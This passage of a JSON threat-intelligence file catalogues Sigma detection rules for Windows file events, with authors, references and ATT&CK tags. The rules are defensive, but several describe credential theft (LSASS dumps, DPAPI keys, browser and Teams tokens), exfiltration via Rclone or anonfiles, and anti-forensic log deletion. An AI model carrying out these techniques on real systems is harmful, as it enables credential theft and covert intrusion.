executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n", "meta": { "author": "frack113", "creation_date": "2022/04/23", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_get_variable.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://www.joesandbox.com/analysis/465533/0/html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml" ], "tags": [ "attack.persistence", "attack.t1546", "attack.defense_evasion", "attack.t1027" ] }, "related": [ { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b", "value": "Suspicious Get-Variable.exe Creation" }, { "description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials", "meta": { "author": "Florian Roth", "creation_date": "2022/06/27", "falsepositive": [ "Unknown" ], "filename": "file_event_win_lsass_werfault_dump.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/helpsystems/nanodump", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c3e76af5-4ce0-4a14-9c9a-25ceb8fda182", "value": "WerFault LSASS Process Memory Dump" }, { "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", "meta": { "author": "@SerkinValery", "creation_date": "2022/09/16", "falsepositive": [ "Unknown" ], "filename": "file_event_win_access_susp_teams.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" ], "tags": [ "attack.credential_access", "attack.t1528" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624", "value": "Suspicious File Event With Teams Objects" }, { "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "file_event_win_writing_local_admin_share.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml" ], "tags": [ "attack.lateral_movement", "attack.t1546.002" ] }, "related": [ { "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4aafb0fa-bff5-4b9d-b99e-8093e659c65f", "value": "Writing Local Admin Share" }, { "description": "An attacker may execute an application as a .SCR File (Screensaver) using rundll32.exe desk.cpl,InstallScreenSaver", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", "creation_date": "2022/04/27", "falsepositive": [ "The installation of new screen savers." ], "filename": "file_event_win_new_src_file.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Libraries/Desk/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml" ], "tags": [ "attack.t1218.011", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c048f047-7e2a-4888-b302-55f509d4a91d", "value": "SCR File Write Event" }, { "description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used", "meta": { "author": "Florian Roth", "creation_date": "2022/03/12", "falsepositive": [ "Unknown" ], "filename": "file_event_win_crackmapexec_patterns.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9433ff9c-5d3f-4269-99f8-95fc826ea489", "value": "CrackMapExec File Creation Patterns" }, { "description": "Detects programs on a Windows system that should not write an archive to disk", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/08/21", "falsepositive": [ "Unknown" ], "filename": "file_event_win_legitimate_app_dropping_archive.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_archive.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "654fcc6d-840d-4844-9b07-2c3300e54a26", "value": "Legitimate Application Dropped Archive" }, { "description": "Detects the creation of system dlls that are not present on the system. Usualy to achieve dll hijacking", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/01", "falsepositive": [ "Unknown" ], "filename": "file_event_win_create_non_existent_dlls.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", "https://decoded.avast.io/martinchlumecky/png-steganography/", "https://github.com/Wh04m1001/SysmonEoP", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_non_existent_dlls.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.t1574.001", "attack.t1574.002" ] }, "uuid": "df6ecb8b-7822-4f4b-b412-08f524b4576c", "value": "Creation Of Non-Existent DLLs In System Folders" }, { "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "file_event_win_wmiprvse_wbemcomn_dll_hijack.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.lateral_movement", "attack.t1021.002" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "614a7e17-5643-4d89-b6fe-f9df1a79641c", "value": "Wmiprvse Wbemcomn DLL Hijack - File" }, { "description": "Detects programs on a Windows system that should not write scripts to disk", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/08/21", "falsepositive": [ "Unknown" ], "filename": "file_event_win_legitimate_app_dropping_script.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_script.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7d604714-e071-49ff-8726-edeb95a70679", "value": "Legitimate Application Dropped Script" }, { "description": "Detects the creation of an file in user Word Startup", "meta": { "author": "frack113", "creation_date": "2022/06/05", "falsepositive": [ "Addition of legitimate plugins" ], "filename": "file_event_win_susp_winword_startup.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://answers.microsoft.com/en-us/msoffice/forum/all/document-in-word-startup-folder-doesnt-open-when/44ab0932-2917-4150-8cdc-2f2cf39e86f3", "Malware Sandbox https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", "http://addbalance.com/word/startup.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winword_startup.yml" ], "tags": [ "attack.resource_development", "attack.t1587.001" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a10a2c40-2c4d-49f8-b557-1a946bc55d9d", "value": "Creation In User Word Startup Folder" }, { "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/05/05", "falsepositive": [ "Very unlikely" ], "filename": "file_event_win_pingback_backdoor.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml" ], "tags": [ "attack.persistence", "attack.t1574.001" ] }, "uuid": "2bd63d53-84d4-4210-80ff-bf0658f1bf78", "value": "Pingback Backdoor - File" }, { "description": "Detects Rclone config file being created", "meta": { "author": "Aaron Greetham (@beardofbinary) - NCC Group", "creation_date": "2021/05/26", "falsepositive": [ "Legitimate Rclone usage (rare)" ], "filename": "file_event_win_rclone_exec_file.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.002" ] }, "related": [ { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "34986307-b7f4-49be-92f3-e7a4d01ac5db", "value": "Rclone Config File Creation" }, { "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/07/30", "falsepositive": [ "Unknown" ], "filename": "file_event_win_dll_sideloading_space_path.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", "https://twitter.com/cyb3rops/status/1552932770464292864", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "b6f91281-20aa-446a-b986-38a92813a18f", "value": "DLL Search Order Hijackig Via Additional Space in Path" }, { "description": "Detects the creation of tasks from processes executed from suspicious locations", "meta": { "author": "Florian Roth", "creation_date": "2021/11/16", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_task_write.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml" ], "tags": [ "attack.persistence", "attack.execution", "attack.t1053" ] }, "uuid": "80e1f67a-4596-4351-98f5-a9c3efabac95", "value": "Suspicious Scheduled Task Write to System32 Tasks" }, { "description": "Detects possible ransomware adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\" etc.", "meta": { "author": "frack113", "creation_date": "2022/07/16", "falsepositive": [ "Backup software" ], "filename": "file_rename_win_ransomware.yml", "level": "medium", "logsource.category": "file_rename", "logsource.product": "windows", "refs": [ "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/", "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml" ], "tags": [ "attack.impact", "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99", "value": "Suspicious Appended Extension" }, { "description": "Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection", "meta": { "author": "frack113", "creation_date": "2022/02/19", "falsepositive": [ "Application installation" ], "filename": "file_rename_win_not_dll_to_dll.yml", "level": "medium", "logsource.category": "file_rename", "logsource.product": "windows", "refs": [ "https://twitter.com/ffforward/status/1481672378639912960", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml" ], "tags": "No established tags" }, "uuid": "bbfd974c-248e-4435-8de6-1e938c79c5c1", "value": "Rename Common File to DLL File" }, { "description": "Detects the deletion of WebServer access logs which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/16", "falsepositive": [ "During uninstallation of the IIS service", "During log rotation" ], "filename": "file_delete_win_webserver_access_logs_deleted.yml", "level": "medium", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070" ] }, "uuid": "3eb8c339-a765-48cc-a150-4364c04652bf", "value": "WebServer Access Logs Deleted" }, { "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", "meta": { "author": "frack113", "creation_date": "2022/01/02", "falsepositive": [ "Legitime usage" ], "filename": "file_delete_win_delete_backup_file.yml", "level": "medium", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "06125661-3814-4e03-bfa2-1e4411c60ac3", "value": "Deletes Backup Files" }, { "description": "A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Legitime usage of SDelete" ], "filename": "file_delete_win_sysinternals_sdelete_file_deletion.yml", "level": "medium", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/9", "https://threathunterplaybook.com/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6ddab845-b1b8-49c2-bbf7-1a11967f64bc", "value": "Sysinternals SDelete File Deletion" }, { "description": "Deletion of log files is a known anti-forensic technique", "meta": { "author": "frack113", "creation_date": "2022/01/16", "falsepositive": [ "Unknown" ], "filename": "file_delete_win_delete_appli_log.yml", "level": "low", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b1decb61-ed83-4339-8e95-53ea51901720", "value": "Delete Log from Application" }, { "description": "Detects the deletion of a prefetch file (AntiForensic)", "meta": { "author": "Cedric MAURUGEON", "creation_date": "2021/09/29", "falsepositive": [ "Unknown" ], "filename": "file_delete_win_delete_prefetch.yml", "level": "high", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0a1f9d29-6465-4776-b091-7f43b26e4c89", "value": "Prefetch File Deletion" }, { "description": "Detect DLL deletions from Spooler Service driver folder", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/07/01", "falsepositive": [ "Unknown" ], "filename": "file_delete_win_cve_2021_1675_printspooler_del.yml", "level": "high", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://github.com/cube0x0/CVE-2021-1675", "https://github.com/hhlxf/PrintNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_printspooler_del.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574", "cve.2021.1675" ] }, "related": [ { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5b2bbc47-dead-4ef7-8908-0cf73fcbecbf", "value": "Windows Spooler Service Suspicious File Deletion" }, { "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "file_delete_win_unusual_deletion_by_dns_exe.yml", "level": "high", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml" ], "tags": [ "attack.initial_access", "attack.t1133" ] }, "uuid": "8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0", "value": "Unusual File Deletion by dns.exe" }, { "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/26", "falsepositive": [ "Possible FP during log rotation" ], "filename": "file_delete_win_exchange_powershell_logs.yml", "level": "high", "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_exchange_powershell_logs.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070" ] }, "uuid": "a55349d8-9588-4c5a-8e3b-1925fe2a4ffe", "value": "Exchange PowerShell Cmdlet History Deleted" }, { "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/11", "falsepositive": [ "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)." ], "filename": "file_access_win_credential_manager_stealing.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml" ], "tags": [ "attack.t1003", "attack.credential_access" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6", "value": "Credential Manager Access" }, { "description": "Detects suspicious processes based on name and location that access the Windows Data Protection API Master keys.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/17", "falsepositive": [ "Unknown" ], "filename": "file_access_win_dpapi_master_key_access.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml" ], "tags": [ "attack.credential_access", "attack.t1555.004" ] }, "related": [ { "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", "value": "Suspicious Access To Windows DPAPI Master Keys" }, { "description": "Detects suspicious processes based on name and location that access the browser credential stores which can be the sign of credential stealing", "meta": { "author": "frack113", "creation_date": "2022/04/09", "falsepositive": [ "Antivirus, Anti-Spyware, Anti-Malware Software", "Backup software", "Software installed on other partitions other than \"C:\\\"", "Searching software such as \"everything.exe\" that are installed and are not located in one of the \"filter_programfile\" filter entries" ], "filename": "file_access_win_browser_credential_stealing.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", "https://github.com/lclevy/firepwd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml" ], "tags": [ "attack.t1003", "attack.credential_access" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf", "value": "Browser Credential Store Access" }, { "description": "Detects suspicious processes based on name and location that access the Windows Credential History File.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/17", "falsepositive": [ "Unknown" ], "filename": "file_access_win_susp_cred_hist_access.yml", "level": "medium", "logsource.category": "file_access", "logsource.product": "windows", "refs": [ "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", "https://www.passcape.com/windows_password_recovery_dpapi_credhist", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" ], "tags": [ "attack.credential_access", "attack.t1555.004" ] }, "related": [ { "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2", "value": "Suspicious Access To Windows Credential History File" }, { "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "file_change_win_unusual_modification_by_dns_exe.yml", "level": "high", "logsource.category": "file_change", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml" ], "tags": [ "attack.initial_access", "attack.t1133" ] }, "uuid": "9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3", "value": "Unusual File Modification by dns.exe" }, { "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/08/12", "falsepositive": [ "Changes made to or by the local NTP service" ], "filename": "file_change_win_2022_timestomping.yml", "level": "high", "logsource.category": "file_change", "logsource.product": "windows", "refs": [ "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml" ], "tags": [ "attack.t1070.006", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "558eebe5-f2ba-4104-b339-36f7902bcc1a", "value": "File Creation Date Changed to Another Year" }, { "description": "AppInstaller.exe is spawned by the default handler for the \"ms-appinstaller\" URI. It attempts to load/install a package from the referenced URL", "meta": { "author": "frack113", "creation_date": "2021/11/24", "falsepositive": [ "Unknown" ], "filename": "dns_query_win_lolbin_appinstaller.yml", "level": "medium", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", "https://twitter.com/notwhickey/status/1333900137232523264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7cff77e1-9663-46a3-8260-17f2e1aa9d0a", "value": "AppX Package Installation Attempts Via AppInstaller" }, { "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2021/04/12", "falsepositive": [ "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service" ], "filename": "dns_query_win_hybridconnectionmgr_servicebus.yml", "level": "high", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml" ], "tags": [ "attack.persistence", "attack.t1554" ] }, "related": [ { "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7bd3902d-8b8b-4dd4-838a-c6862d40150d", "value": "DNS HybridConnectionManager Service Bus" }, { "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", "meta": { "author": "pH-T", "creation_date": "2022/07/15", "falsepositive": [ "Legitimate access to anonfiles.com" ], "filename": "dns_query_win_anonymfiles_com.yml", "level": "high", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.002" ] }, "related": [ { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": 